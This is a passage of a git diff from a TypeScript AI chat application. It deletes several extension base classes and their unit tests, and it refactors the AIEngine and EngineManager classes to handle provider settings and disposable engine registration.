content: 'Modified message' }-- await extension.modifyMessage(modifiedMessage)-- const messages = await extension.listMessages(thread.id)- expect(messages[0].content).toBe('Modified message')- })-- test('should delete message', async () => {- const thread = await extension.createThread({ name: 'Test Thread' })-- const message = await extension.createMessage({- threadId: thread.id,- content: 'Test message',- role: 'user'- })-- await extension.deleteMessage(thread.id, message.id)-- const messages = await extension.listMessages(thread.id)- expect(messages).toHaveLength(0)- })-- test('should create and get thread assistant', async () => {- const thread = await extension.createThread({ name: 'Test Thread' })-- const assistant: ThreadAssistantInfo = {- threadId: thread.id,- modelId: 'test-model'- }-- await extension.createThreadAssistant(thread.id, assistant)-- const retrievedAssistant = await extension.getThreadAssistant(thread.id)- expect(retrievedAssistant.modelId).toBe('test-model')- })-- test('should modify thread assistant', async () => {- const thread = await extension.createThread({ name: 'Test Thread' })-- const assistant: ThreadAssistantInfo = {- threadId: thread.id,- modelId: 'test-model'- }-- await extension.createThreadAssistant(thread.id, assistant)-- const modifiedAssistant: ThreadAssistantInfo = {- threadId: thread.id,- modelId: 'modified-model'- }-- await extension.modifyThreadAssistant(thread.id, modifiedAssistant)-- const retrievedAssistant = await extension.getThreadAssistant(thread.id)- expect(retrievedAssistant.modelId).toBe('modified-model')- })-- test('should delete thread assistant when thread is deleted', async () => {- const thread = await extension.createThread({ name: 'Test Thread' })-- const assistant: ThreadAssistantInfo = {- threadId: thread.id,- modelId: 'test-model'- }-- await extension.createThreadAssistant(thread.id, assistant)- await extension.deleteThread(thread.id)-- // Creating a new thread with the same ID to test if assistant was deleted- const newThread = await extension.createThread({ id: thread.id, name: 'New Thread' })- const retrievedAssistant = await extension.getThreadAssistant(newThread.id)-- expect(retrievedAssistant.modelId).toBe('')- })-})diff --git a/core/src/browser/extensions/conversational.ts b/core/src/browser/extensions/conversational.tsdeleted file mode 100644index 49fedd544..000000000--- a/core/src/browser/extensions/conversational.ts+++ /dev/null@@ -1,43 +0,0 @@-import {- Thread,- ThreadInterface,- ThreadMessage,- MessageInterface,- ThreadAssistantInfo,-} from '../../types'-import { BaseExtension, ExtensionTypeEnum } from '../extension'--/**- * Conversational extension. Persists and retrieves conversations.- * @abstract- * @extends BaseExtension- */-export abstract class ConversationalExtension- extends BaseExtension- implements ThreadInterface, MessageInterface-{- /**- * Conversation extension type.- */- type(): ExtensionTypeEnum | undefined {- return ExtensionTypeEnum.Conversational- }-- abstract listThreads(): Promise<Thread[]>- abstract createThread(thread: Partial<Thread>): Promise<Thread>- abstract modifyThread(thread: Thread): Promise<void>- abstract deleteThread(threadId: string): Promise<void>- abstract createMessage(message: Partial<ThreadMessage>): Promise<ThreadMessage>- abstract deleteMessage(threadId: string, messageId: string): Promise<void>- abstract listMessages(threadId: string): Promise<ThreadMessage[]>- abstract getThreadAssistant(threadId: string): Promise<ThreadAssistantInfo>- abstract createThreadAssistant(- threadId: string,- assistant: ThreadAssistantInfo- ): Promise<ThreadAssistantInfo>- abstract modifyThreadAssistant(- threadId: string,- assistant: ThreadAssistantInfo- ): Promise<ThreadAssistantInfo>- abstract modifyMessage(message: ThreadMessage): Promise<ThreadMessage>-}diff --git a/core/src/browser/extensions/engines/AIEngine.test.ts b/core/src/browser/extensions/engines/AIEngine.test.tsindex 7d8bc4626..076e72ddb 100644--- a/core/src/browser/extensions/engines/AIEngine.test.ts+++ b/core/src/browser/extensions/engines/AIEngine.test.ts@@ -8,8 +8,24 @@ vi.mock('./EngineManager')vi.mock('../../fs')class TestAIEngine extends AIEngine {- onUnload(): void {}provider = 'test-provider'+ settings: any[] = [{ key: 'ctx', controllerProps: { value: 4096 } }]++ async getSettings(): Promise<any[]> {+ return this.settings+ }++ async updateSettings(): Promise<void> {}++ async get(): Promise<undefined> {+ return undefined+ }++ async update(): Promise<void> {}++ async isToolSupported(): Promise<boolean> {+ return false+ }inference(data: any) {}@@ -52,7 +68,7 @@ describe('AIEngine', () => {let engine: TestAIEnginebeforeEach(() => {- engine = new TestAIEngine('', '')+ engine = new TestAIEngine()vi.clearAllMocks()})@@ -78,6 +94,11 @@ describe('AIEngine', () => {expect(result).toEqual([])})+ it('reads one setting value, falling back to the default', async () => {+ await expect(engine.getSetting('ctx', 0)).resolves.toBe(4096)+ await expect(engine.getSetting('absent', 'dflt')).resolves.toBe('dflt')+ })+it('should get loaded models', async () => {const result = await engine.getLoadedModels()diff --git a/core/src/browser/extensions/engines/AIEngine.ts b/core/src/browser/extensions/engines/AIEngine.tsindex a1a294e0c..1d68de022 100644--- a/core/src/browser/extensions/engines/AIEngine.ts+++ b/core/src/browser/extensions/engines/AIEngine.ts@@ -1,5 +1,4 @@-import { BaseExtension } from '../../extension'-import { EngineManager } from './EngineManager'+import type { SettingComponentProps } from '../../../types'/* AIEngine class types */@@ -328,22 +327,20 @@ export function isEmbeddingEngine(engine: unknown): engine is AIEngine & Embeddi* Applicable to all AI Engines*/-export abstract class AIEngine extends BaseExtension {+export abstract class AIEngine {// The inference engine ID, implementing the readonly providerId from interfaceabstract readonly provider: string- /**- * On extension load, subscribe to events.- */- override onLoad() {- this.registerEngine()- }+ /** The engine's provider settings, as the provider settings page shows them. */+ abstract getSettings(): Promise<SettingComponentProps[]>- /**- * Registers AI Engines- */- registerEngine() {- EngineManager.instance().register(this)+ /** Stores new values for the given settings and applies them. */+ abstract updateSettings(settings: Partial<SettingComponentProps>[]): Promise<void>++ /** The stored value of one setting, or `defaultValue` when it has none. */+ async getSetting<T>(key: string, defaultValue: T): Promise<T> {+ const setting = (await this.getSettings()).find((s) => s.key === key)+ return (setting?.controllerProps.value as T) ?? defaultValue}/**diff --git a/core/src/browser/extensions/engines/EngineManager.test.ts b/core/src/browser/extensions/engines/EngineManager.test.tsindex 7da2e7df7..d4a583723 100644--- a/core/src/browser/extensions/engines/EngineManager.test.ts+++ b/core/src/browser/extensions/engines/EngineManager.test.ts@@ -34,6 +34,25 @@ describe('EngineManager', () => {expect(retrievedEngine).toBe(engine)})+ test('unregisters the engine when its registration is disposed', () => {+ const engine = new MockAIEngine('testProvider')+ // @ts-ignore+ const registration = engineManager.register(engine)+ registration.dispose()+ expect(engineManager.get('testProvider')).toBeUndefined()+ })++ test('a stale registration never removes a newer engine for the provider', () => {+ const first = new MockAIEngine('testProvider')+ const second = new MockAIEngine('testProvider')+ // @ts-ignore+ const stale = engineManager.register(first)+ // @ts-ignore+ engineManager.register(second)+ stale.dispose()+ expect(engineManager.get('testProvider')).toBe(second)+ })+test('should return undefined for an unregistered provider', () => {// @ts-ignoreconst retrievedEngine = engineManager.get<MockAIEngine>('nonExistentProvider')diff --git a/core/src/browser/extensions/engines/EngineManager.ts b/core/src/browser/extensions/engines/EngineManager.tsindex 729d9d900..c199ba64b 100644--- a/core/src/browser/extensions/engines/EngineManager.ts+++ b/core/src/browser/extensions/engines/EngineManager.ts@@ -1,3 +1,4 @@+import { toDisposable, type Disposable } from '@janhq/extension-api'import { AIEngine } from './AIEngine'/**@@ -8,11 +9,15 @@ export class EngineManager {public controller: AbortController | null = null/**- * Registers an engine.+ * Registers an engine under its provider until the result is disposed.* @param engine - The engine to register.*/- register<T extends AIEngine>(engine: T) {+ register<T extends AIEngine>(engine: T): Disposable {this.engines.set(engine.provider, engine)+ return toDisposable(() => {+ // A newer engine may have taken the provider since.+ if (this.engines.get(engine.provider) === engine) this.engines.delete(engine.provider)+ })}/**diff --git a/core/src/browser/extensions/engines/LocalOAIEngine.test.ts b/core/src/browser/extensions/engines/LocalOAIEngine.test.tsdeleted file mode 100644index 3523c3ce6..000000000--- a/core/src/browser/extensions/engines/LocalOAIEngine.test.ts+++ /dev/null@@ -1,134 +0,0 @@-import { describe, it, expect, beforeEach, vi, type Mock } from 'vitest'-import { LocalOAIEngine } from './LocalOAIEngine'-import { events } from '../../events'-import { Model, ModelEvent } from '../../../types'--vi.mock('../../events')--class TestLocalOAIEngine extends LocalOAIEngine {- inferenceUrl = 'http://test-local-inference-url'- provider = 'test-local-provider'- nodeModule = 'test-node-module'-- async headers() {- return { Authorization: 'Bearer test-token' }- }-- async loadModel(model: Model & { file_path?: string }): Promise<void> {- this.loadedModel = model- }-- async unloadModel(model?: Model) {- this.loadedModel = undefined- }-}--describe('LocalOAIEngine', () => {- let engine: TestLocalOAIEngine- const mockModel: Model & { file_path?: string } = {- object: 'model',- version: '1.0.0',- format: 'gguf',- sources: [],- id: 'test-model',- name: 'Test Model',- description: 'A test model',- settings: {},- parameters: {},- metadata: {},- file_path: '/path/to/model.gguf'- }-- beforeEach(() => {- engine = new TestLocalOAIEngine('', '')- vi.clearAllMocks()- })-- describe('onLoad', () => {- it('should call super.onLoad and subscribe to model events', () => {- const superOnLoadSpy = vi.spyOn(Object.getPrototypeOf(Object.getPrototypeOf(engine)), 'onLoad')-- engine.onLoad()-- expect(superOnLoadSpy).toHaveBeenCalled()- expect(events.on).toHaveBeenCalledWith(- ModelEvent.OnModelInit,- expect.any(Function)- )- expect(events.on).toHaveBeenCalledWith(- ModelEvent.OnModelStop,- expect.any(Function)- )- })-- it('should load model when OnModelInit event is triggered', () => {- const loadModelSpy = vi.spyOn(engine, 'loadModel')- engine.onLoad()-- // Get the event handler for OnModelInit- const onModelInitCall = (events.on as Mock).mock.calls.find(- call => call[0] === ModelEvent.OnModelInit- )- const onModelInitHandler = onModelInitCall[1]-- // Trigger the event handler- onModelInitHandler(mockModel)-- expect(loadModelSpy).toHaveBeenCalledWith(mockModel)- })-- it('should unload model when OnModelStop event is triggered', () => {- const unloadModelSpy = vi.spyOn(engine, 'unloadModel')- engine.onLoad()-- // Get the event handler for OnModelStop- const onModelStopCall = (events.on as Mock).mock.calls.find(- call => call[0] === ModelEvent.OnModelStop- )- const onModelStopHandler = onModelStopCall[1]-- // Trigger the event handler- onModelStopHandler(mockModel)-- expect(unloadModelSpy).toHaveBeenCalledWith(mockModel)- })- })-- describe('properties', () => {- it('should have correct default function names', () => {- expect(engine.loadModelFunctionName).toBe('loadModel')- expect(engine.unloadModelFunctionName).toBe('unloadModel')- })-- it('should have abstract nodeModule property implemented', () => {- expect(engine.nodeModule).toBe('test-node-module')- })- })-- describe('loadModel', () => {- it('should load the model and set loadedModel', async () => {- await engine.loadModel(mockModel)- expect(engine.loadedModel).toBe(mockModel)- })-- it('should handle model with file_path', async () => {- const modelWithPath = { ...mockModel, file_path: '/custom/path/model.gguf' }- await engine.loadModel(modelWithPath)- expect(engine.loadedModel).toBe(modelWithPath)- })- })-- describe('unloadModel', () => {- it('should unload the model and clear loadedModel', async () => {- engine.loadedModel = mockModel- await engine.unloadModel(mockModel)- expect(engine.loadedModel).toBeUndefined()- })-- it('should handle unload without passing a model', async () => {- engine.loadedModel = mockModel- await engine.unloadModel()- expect(engine.loadedModel).toBeUndefined()- })- })-})diff --git a/core/src/browser/extensions/engines/LocalOAIEngine.ts b/core/src/browser/extensions/engines/LocalOAIEngine.tsdeleted file mode 100644index d9f9220bf..000000000--- a/core/src/browser/extensions/engines/LocalOAIEngine.ts+++ /dev/null@@ -1,41 +0,0 @@-import { events } from '../../events'-import { Model, ModelEvent } from '../../../types'-import { OAIEngine } from './OAIEngine'--/**- * Base OAI Local Inference Provider- * Added the implementation of loading and unloading model (applicable to local inference providers)- */-export abstract class LocalOAIEngine extends OAIEngine {- // The inference engine- abstract nodeModule: string- loadModelFunctionName: string = 'loadModel'- unloadModelFunctionName: string = 'unloadModel'-- /**- * This class represents a base for local inference providers in the OpenAI architecture.- * It extends the OAIEngine class and provides the implementation of loading and unloading models locally.- * The loadModel function subscribes to the ModelEvent.OnModelInit event, loading models when initiated.- * The unloadModel function subscribes to the ModelEvent.OnModelStop event, unloading models when stopped.- */- override onLoad() {- super.onLoad()- // These events are applicable to local inference providers- events.on(ModelEvent.OnModelInit, (model: Model) => this.loadModel(model))- events.on(ModelEvent.OnModelStop, (model: Model) => this.unloadModel(model))- }-- /**- * Load the model.- */- async loadModel(model: Model & { file_path?: string }): Promise<void> {- // Implementation of loading the model- }-- /**- * Stops the model.- */- async unloadModel(model?: Model) {- // Implementation of unloading the model- }-}diff --git a/core/src/browser/extensions/engines/OAIEngine.test.ts b/core/src/browser/extensions/engines/OAIEngine.test.tsdeleted file mode 100644index 5d626b006..000000000--- a/core/src/browser/extensions/engines/OAIEngine.test.ts+++ /dev/null@@ -1,50 +0,0 @@-import { describe, it, expect, beforeEach, vi } from 'vitest'-import { OAIEngine } from './OAIEngine'-import { events } from '../../events'-import {- MessageEvent,- InferenceEvent,- MessageRequest,- MessageRequestType,- MessageStatus,- ChatCompletionRole,- ContentType,-} from '../../../types'--vi.mock('../../events')--class TestOAIEngine extends OAIEngine {- inferenceUrl = 'http://test-inference-url'- provider = 'test-provider'-- async headers() {- return { Authorization: 'Bearer test-token' }- }-}--describe('OAIEngine', () => {- let engine: TestOAIEngine-- beforeEach(() => {- engine = new TestOAIEngine('', '')- vi.clearAllMocks()- })-- it('should subscribe to events on load', () => {- engine.onLoad()- expect(events.on).toHaveBeenCalledWith(- MessageEvent.OnMessageSent,- expect.any(Function)- )- expect(events.on).toHaveBeenCalledWith(- InferenceEvent.OnInferenceStopped,- expect.any(Function)- )- })-- it('should stop inference', () => {- engine.stopInference()- expect(engine.isCancelled).toBe(true)- expect(engine.controller.signal.aborted).toBe(true)- })-})diff --git a/core/src/browser/extensions/engines/OAIEngine.ts b/core/src/browser/extensions/engines/OAIEngine.tsdeleted file mode 100644index c16b431ef..000000000--- a/core/src/browser/extensions/engines/OAIEngine.ts+++ /dev/null@@ -1,63 +0,0 @@-import { AIEngine } from './AIEngine'-import {- InferenceEvent,- MessageEvent,- MessageRequest,- Model,-} from '../../../types'-import { events } from '../../events'--/**- * Base OAI Inference Provider- * Applicable to all OAI compatible inference providers- */-export abstract class OAIEngine extends AIEngine {- // The inference engine- abstract inferenceUrl: string-- // Controller to handle stop requests- controller = new AbortController()- isCancelled = false-- // The loaded model instance- loadedModel: Model | undefined-- // Transform the payload- transformPayload?: Function-- // Transform the response- transformResponse?: Function-- /**- * On extension load, subscribe to events.- */- override onLoad() {- super.onLoad()- events.on(MessageEvent.OnMessageSent, (data: MessageRequest) =>- this.inference(data)- )- events.on(InferenceEvent.OnInferenceStopped, () => this.stopInference())- }-- /**- * On extension unload- */- override onUnload(): void {}-- inference(data: MessageRequest) {}-- /**- * Stops the inference.- */- stopInference() {- this.isCancelled = true- this.controller?.abort()- }-- /**- * Headers for the inference request- */- async headers(): Promise<HeadersInit> {- return {}- }-}diff --git a/core/src/browser/extensions/engines/RemoteOAIEngine.test.ts b/core/src/browser/extensions/engines/RemoteOAIEngine.test.tsdeleted file mode 100644index b3e544139..000000000--- a/core/src/browser/extensions/engines/RemoteOAIEngine.test.ts+++ /dev/null@@ -1,41 +0,0 @@-import { describe, test, expect, beforeEach, vi } from 'vitest'-import { RemoteOAIEngine } from './'--class TestRemoteOAIEngine extends RemoteOAIEngine {- inferenceUrl: string = ''- provider: string = 'TestRemoteOAIEngine'-}--describe('RemoteOAIEngine', () => {- let engine: TestRemoteOAIEngine-- beforeEach(() => {- engine = new TestRemoteOAIEngine('', '')- })-- test('should call onLoad and super.onLoad', () => {- const onLoadSpy = vi.spyOn(engine, 'onLoad')- const superOnLoadSpy = vi.spyOn(Object.getPrototypeOf(RemoteOAIEngine.prototype), 'onLoad')- engine.onLoad()-- expect(onLoadSpy).toHaveBeenCalled()- expect(superOnLoadSpy).toHaveBeenCalled()- })-- test('should return headers with apiKey', async () => {- engine.apiKey = 'test-api-key'- const headers = await engine.headers()-- expect(headers).toEqual({- 'Authorization': 'Bearer test-api-key',- 'api-key': 'test-api-key',- })- })-- test('should return empty headers when apiKey is not set', async () => {- engine.apiKey = undefined- const headers = await engine.headers()-- expect(headers).toEqual({})- })-})diff --git a/core/src/browser/extensions/engines/RemoteOAIEngine.ts b/core/src/browser/extensions/engines/RemoteOAIEngine.tsdeleted file mode 100644index b11235370..000000000--- a/core/src/browser/extensions/engines/RemoteOAIEngine.ts+++ /dev/null@@ -1,27 +0,0 @@-import { OAIEngine } from './OAIEngine'--/**- * Base OAI Remote Inference Provider- * Added the implementation of loading and unloading model (applicable to local inference providers)- */-export abstract class RemoteOAIEngine extends OAIEngine {- apiKey?: string- /**- * On extension load, subscribe to events.- */- override onLoad() {- super.onLoad()- }-- /**- * Headers for the inference request- */- override async headers(): Promise<HeadersInit> {- return {- ...(this.apiKey && {- 'Authorization': `Bearer ${this.apiKey}`,- 'api-key': `${this.apiKey}`,- }),- }- }-}diff --git a/core/src/browser/extensions/engines/embedding.test.ts b/core/src/browser/extensions/engines/embedding.test.tsindex 8654832f2..54d0439ce 100644--- a/core/src/browser/extensions/engines/embedding.test.ts+++ b/core/src/browser/extensions/engines/embedding.test.ts@@ -1,8 +1,8 @@import { describe, it, expect, beforeEach, vi } from 'vitest'-import { getEmbeddingEngine, embedTexts, EMBEDDING_ENGINE_EXTENSION } from './embedding'+import { getEmbeddingEngine, embedTexts, EMBEDDING_ENGINE_PROVIDER } from './embedding'function withExtension(ext: unknown) {- globalThis.core = { extensionManager: { getByName: vi.fn().mockReturnValue(ext) } }+ window.core = { engineManager: { get: vi.fn().mockReturnValue(ext) } }}const engine = {@@ -14,11 +14,11 @@ const engine = {describe('getEmbeddingEngine', () => {beforeEach(() => vi.clearAllMocks())- it('looks the engine up by extension name', () => {+ it('looks the engine up by provider in the engine registry', () => {withExtension(engine)expect(getEmbeddingEngine()).toBe(engine)- expect(globalThis.core.extensionManager.getByName).toHaveBeenCalledWith(- EMBEDDING_ENGINE_EXTENSION+ expect(window.core.engineManager.get).toHaveBeenCalledWith(+ EMBEDDING_ENGINE_PROVIDER)})@@ -40,8 +40,8 @@ describe('getEmbeddingEngine', () => {await expect(embedTexts(['a'])).resolves.toEqual([[7]])})- it('survives a missing extension manager', () => {- globalThis.core = undefined+ it('survives a missing engine manager', () => {+ window.core = undefinedexpect(getEmbeddingEngine()).toBeUndefined()})})diff --git a/core/src/browser/extensions/engines/embedding.ts b/core/src/browser/extensions/engines/embedding.tsindex 992547cf8..b4ea02f90 100644--- a/core/src/browser/extensions/engines/embedding.ts+++ b/core/src/browser/extensions/engines/embedding.ts@@ -1,14 +1,17 @@import { AIEngine, EmbeddingEngine, canEmbed, isEmbeddingEngine } from './AIEngine'+import { EngineManager } from './EngineManager'/**- * The only embedding-capable engine that ships today. Named here rather than in- * each consumer because the RAG and vector-db extensions both reached for it by- * string literal, so a rename had three places to miss.+ * The provider of the only embedding-capable engine that ships today. Named+ * here rather than in each consumer because the RAG and vector-db built-ins+ * both reached for it by string literal, so a rename had three places to miss.*/-export const EMBEDDING_ENGINE_EXTENSION = '@janhq/llamacpp-extension'+export const EMBEDDING_ENGINE_PROVIDER = 'llamacpp'-function lookup(extensionName: string): unknown {- return globalThis.core?.extensionManager?.getByName(extensionName)+// Through the engine registry rather than the extension that provides the+// engine, so the lookup does not depend on how that extension is loaded.+function lookup(provider: string): unknown {+ return EngineManager.instance().get(provider)}/**@@ -20,9 +23,9 @@ function lookup(extensionName: string): unknown {* which asks for less.*/export function getEmbeddingEngine(- extensionName: string = EMBEDDING_ENGINE_EXTENSION+ provider: string = EMBEDDING_ENGINE_PROVIDER): (AIEngine & EmbeddingEngine) | undefined {- const engine = lookup(extensionName)+ const engine = lookup(provider)return isEmbeddingEngine(engine) ? engine : undefined}@@ -35,7 +38,7 @@ export function getEmbeddingEngine(*/export async function embedTexts(texts: string[]): Promise<number[][]> {if (!texts.length) return []- const engine = lookup(EMBEDDING_ENGINE_EXTENSION)+ const engine = lookup(EMBEDDING_ENGINE_PROVIDER)if (!canEmbed(engine)) throw new Error('llamacpp extension not available')const res = await engine.embed(texts)diff --git a/core/src/browser/extensions/engines/index.ts b/core/src/browser/extensions/engines/index.tsindex aeb14c85f..1c890690e 100644--- a/core/src/browser/extensions/engines/index.ts+++ b/core/src/browser/extensions/engines/index.ts@@ -1,6 +1,3 @@export * from './AIEngine'-export * from './OAIEngine'-export * from './LocalOAIEngine'-export * from './RemoteOAIEngine'export * from './EngineManager'export * from './embedding'diff --git a/core/src/browser/extensions/index.test.ts b/core/src/browser/extensions/index.test.tsindex 2b1adad4a..ab342eb38 100644--- a/core/src/browser/extensions/index.test.ts+++ b/core/src/browser/extensions/index.test.ts@@ -1,24 +1,8 @@import { describe, test, expect } from 'vitest'-import { ConversationalExtension } from './index';-import { InferenceExtension } from './index';-import { AssistantExtension } from './index';-import * as Engines from './index';+import * as Engines from './index'describe('index.ts exports', () => {- test('should export ConversationalExtension', () => {- expect(ConversationalExtension).toBeDefined();- });-- test('should export InferenceExtension', () => {- expect(InferenceExtension).toBeDefined();- });-- test('should export AssistantExtension', () => {- expect(AssistantExtension).toBeDefined();- });--test('should export Engines', () => {- expect(Engines).toBeDefined();- });-});+ expect(Engines.EngineManager).toBeDefined()+ })+})diff --git a/core/src/browser/extensions/index.ts b/core/src/browser/extensions/index.tsindex 6284ad719..fa1ba6240 100644--- a/core/src/browser/extensions/index.ts+++ b/core/src/browser/extensions/index.ts@@ -1,30 +1,4 @@-/**- * Conversational extension. Persists and retrieves conversations.- * @module- */-export { ConversationalExtension } from './conversational'--/**- * Inference extension. Start, stop and inference models.- */-export { InferenceExtension } from './inference'--/**- * Assistant extension for managing assistants.- */-export { AssistantExtension } from './assistant'--/**- * MCP extension for managing tools and server communication.- */-export { MCPExtension } from './mcp'-/*** Base AI Engines.*/export * from './engines'--export { RAGExtension, RAG_INTERNAL_SERVER } from './rag'-export type { AttachmentInput, IngestAttachmentsResult } from './rag'-export { VectorDBExtension } from './vector-db'-export type { SearchMode, VectorDBStatus, VectorChunkInput, VectorSearchResult, AttachmentFileInfo, VectorDBFileInput, VectorDBIngestOptions } from './vector-db'diff --git a/core/src/browser/extensions/inference.test.ts b/core/src/browser/extensions/inference.test.tsdeleted file mode 100644index 09ff802ba..000000000--- a/core/src/browser/extensions/inference.test.ts+++ /dev/null@@ -1,46 +0,0 @@-import { describe, it, expect, beforeEach } from 'vitest'-import { MessageRequest, ThreadMessage } from '../../types'-import { BaseExtension, ExtensionTypeEnum } from '../extension'-import { InferenceExtension } from './'--// Mock the MessageRequest and ThreadMessage types-type MockMessageRequest = {- text: string-}--type MockThreadMessage = {- text: string- userId: string-}--// Mock the BaseExtension class-class MockBaseExtension extends BaseExtension {- type(): ExtensionTypeEnum | undefined {- return ExtensionTypeEnum.Base- }-}--// Create a mock implementation of InferenceExtension-class MockInferenceExtension extends InferenceExtension {- async inference(data: MessageRequest): Promise<ThreadMessage> {- return { text: 'Mock response', userId: '123' } as unknown as ThreadMessage- }-}--describe('InferenceExtension', () => {- let inferenceExtension: InferenceExtension-- beforeEach(() => {- inferenceExtension = new MockInferenceExtension()- })-- it('should have the correct type', () => {- expect(inferenceExtension.type()).toBe(ExtensionTypeEnum.Inference)- })-- it('should implement the inference method', async () => {- const messageRequest: MessageRequest = { text: 'Hello' } as unknown as MessageRequest- const result = await inferenceExtension.inference(messageRequest)- expect(result).toEqual({ text: 'Mock response', userId: '123' } as unknown as ThreadMessage)- })-})diff --git a/core/src/browser/extensions/inference.ts b/core/src/browser/extensions/inference.tsdeleted file mode 100644index 44c50f7f8..000000000--- a/core/src/browser/extensions/inference.ts+++ /dev/null@@ -1,16 +0,0 @@-import { InferenceInterface, MessageRequest, ThreadMessage } from '../../types'-import { BaseExtension, ExtensionTypeEnum } from '../extension'--/**- * Inference extension. Start, stop and inference models.- */-export abstract class InferenceExtension extends BaseExtension implements InferenceInterface {- /**- * Inference extension type.- */- type(): ExtensionTypeEnum | undefined {- return ExtensionTypeEnum.Inference- }-- abstract inference(data: MessageRequest): Promise<ThreadMessage>-}diff --git a/core/src/browser/extensions/mcp.test.ts b/core/src/browser/extensions/mcp.test.tsdeleted file mode 100644index 8ba3f200a..000000000--- a/core/src/browser/extensions/mcp.test.ts+++ /dev/null@@ -1,99 +0,0 @@-import { describe, it, expect, beforeEach } from 'vitest'-import { MCPExtension } from './mcp'-import { ExtensionTypeEnum } from '../extension'-import { MCPTool, MCPToolCallResult } from '../../types'--class TestMCPExtension extends MCPExtension {- constructor() {- super('test://mcp', 'test-mcp')- }-- async getTools(): Promise<MCPTool[]> {- return [- {- name: 'test_tool',- description: 'A test tool',- inputSchema: { type: 'object' },- server: 'test-server'- }- ]- }-- async callTool(toolName: string, args: Record<string, unknown>): Promise<MCPToolCallResult> {- return {- error: '',- content: [{ type: 'text', text: `Called ${toolName} with ${JSON.stringify(args)}` }]- }- }-- async getConnectedServers(): Promise<string[]> {- return ['test-server']- }-- async refreshTools(): Promise<void> {- // Mock implementation- }-- async isHealthy(): Promise<boolean> {- return true- }-- async onLoad(): Promise<void> {- // Mock implementation- }-- onUnload(): void {- // Mock implementation- }-}--describe('MCPExtension', () => {- let mcpExtension: TestMCPExtension-- beforeEach(() => {- mcpExtension = new TestMCPExtension()- })-- describe('type', () => {- it('should return MCP extension type', () => {- expect(mcpExtension.type()).toBe(ExtensionTypeEnum.MCP)- })- })-- describe('getTools', () => {- it('should return array of MCP tools', async () => {- const tools = await mcpExtension.getTools()- expect(tools).toHaveLength(1)- expect(tools[0]).toEqual({- name: 'test_tool',- description: 'A test tool',- inputSchema: { type: 'object' },- server: 'test-server'- })- })- })-- describe('callTool', () => {- it('should call tool and return result', async () => {- const result = await mcpExtension.callTool('test_tool', { param: 'value' })- expect(result).toEqual({- error: '',- content: [{ type: 'text', text: 'Called test_tool with {"param":"value"}' }]- })- })- })-- describe('getConnectedServers', () => {- it('should return list of connected servers', async () => {- const servers = await mcpExtension.getConnectedServers()- expect(servers).toEqual(['test-server'])- })- })-- describe('isHealthy', () => {- it('should return health status', async () => {- const healthy = await mcpExtension.isHealthy()- expect(healthy).toBe(true)- })- })-})diff --git a/core/src/browser/extensions/mcp.ts b/core/src/browser/extensions/mcp.tsdeleted file mode 100644index d47065e29..000000000--- a/core/src/browser/extensions/mcp.ts+++ /dev/null@@ -1,34 +0,0 @@-import { MCPInterface, MCPTool, MCPToolCallResult, MCPToolComponentProps } from '../../types'-import { BaseExtension, ExtensionTypeEnum } from '../extension'-import type { ComponentType } from 'react'--/**- * MCP (Model Context Protocol) extension for managing tools and server communication.- * @extends BaseExtension- */-export abstract class MCPExtension extends BaseExtension implements MCPInterface {- /**- * MCP extension type.- */- type(): ExtensionTypeEnum | undefined {- return ExtensionTypeEnum.MCP- }-- abstract getTools(): Promise<MCPTool[]>- abstract callTool(toolName: string, args: Record<string, unknown>, serverName?: string): Promise<MCPToolCallResult>- abstract getConnectedServers(): Promise<string[]>- abstract refreshTools(): Promise<void>- abstract isHealthy(): Promise<boolean>-- /**- * Optional method to provide a custom UI component for tools- * @returns A React component or null if no custom component is provided- */- getToolComponent?(): ComponentType<MCPToolComponentProps> | null-- /**- * Optional method to get the list of tool names that should be disabled by default- * @returns Array of tool names that should be disabled by default for new users- */- getDefaultDisabledTools?(): Promise<string[]>-}diff --git a/core/src/browser/extensions/rag.ts b/core/src/browser/extensions/rag.tsdeleted file mode 100644index 1886e52b1..000000000--- a/core/src/browser/extensions/rag.ts+++ /dev/null@@ -1,52 +0,0 @@-import { BaseExtension, ExtensionTypeEnum } from '../extension'-import type { MCPTool, MCPToolCallResult } from '../../types'-import type { AttachmentFileInfo } from './vector-db'--export interface AttachmentInput {- path: string- name?: string- type?: string- size?: number-}--export interface IngestAttachmentsResult {- filesProcessed: number- chunksInserted: number- files: AttachmentFileInfo[]-}--export const RAG_INTERNAL_SERVER = 'rag-internal'--/**- * RAG extension base: exposes RAG tools and orchestration API.- */-export abstract class RAGExtension extends BaseExtension {- type(): ExtensionTypeEnum | undefined {- return ExtensionTypeEnum.RAG- }-- abstract getTools(): Promise<MCPTool[]>- /**- * Lightweight list of tool names for quick routing/lookup.- */- abstract getToolNames(): Promise<string[]>- abstract callTool(toolName: string, args: Record<string, unknown>): Promise<MCPToolCallResult>-- abstract ingestAttachments(threadId: string, files: AttachmentInput[]): Promise<IngestAttachmentsResult>-- /**- * Ingest files for a project-level collection (shared across all threads in the project)- */- abstract ingestAttachmentsForProject(projectId: string, files: AttachmentInput[]): Promise<IngestAttachmentsResult>-- /**- * Parse a document into plain text for inline ingestion or preprocessing.- */- abstract parseDocument(path: string, type?: string): Promise<string>-- /**- * Embed a batch of texts using the configured embedding model.- * Returns one vector per input in input order.- */- abstract embed(texts: string[]): Promise<number[][]>-}diff --git a/core/src/browser/extensions/vector-db.ts b/core/src/browser/extensions/vector-db.tsdeleted file mode 100644index cada5f0cc..000000000--- a/core/src/browser/extensions/vector-db.ts+++ /dev/null@@ -1,113 +0,0 @@-import { BaseExtension, ExtensionTypeEnum } from '../extension'--export type SearchMode = 'auto' | 'ann' | 'linear'--export interface VectorDBStatus {- ann_available: boolean-}--export interface VectorChunkInput {- text: string- embedding: number[]-}--export interface VectorSearchResult {- id: string- text: string- score?: number- file_id: string- chunk_file_order: number-}--export interface AttachmentFileInfo {- id: string- name?: string- path?: string- type?: string- size?: number- chunk_count: number-}--// High-level input types for file ingestion-export interface VectorDBFileInput {- path: string- name?: string- type?: string- size?: number-}--export interface VectorDBIngestOptions {- chunkSize: number- chunkOverlap: number-}--/**- * Vector DB extension base: abstraction over local vector storage and search.- */-export abstract class VectorDBExtension extends BaseExtension {- type(): ExtensionTypeEnum | undefined {- return ExtensionTypeEnum.VectorDB- }-- abstract getStatus(): Promise<VectorDBStatus>- abstract createCollection(threadId: string, dimension: number): Promise<void>- abstract insertChunks(- threadId: string,- fileId: string,- chunks: VectorChunkInput[]- ): Promise<void>- abstract ingestFile(- threadId: string,- file: VectorDBFileInput,- opts: VectorDBIngestOptions- ): Promise<AttachmentFileInfo>- abstract searchCollection(- threadId: string,- query_embedding: number[],- limit: number,- threshold: number,- mode?: 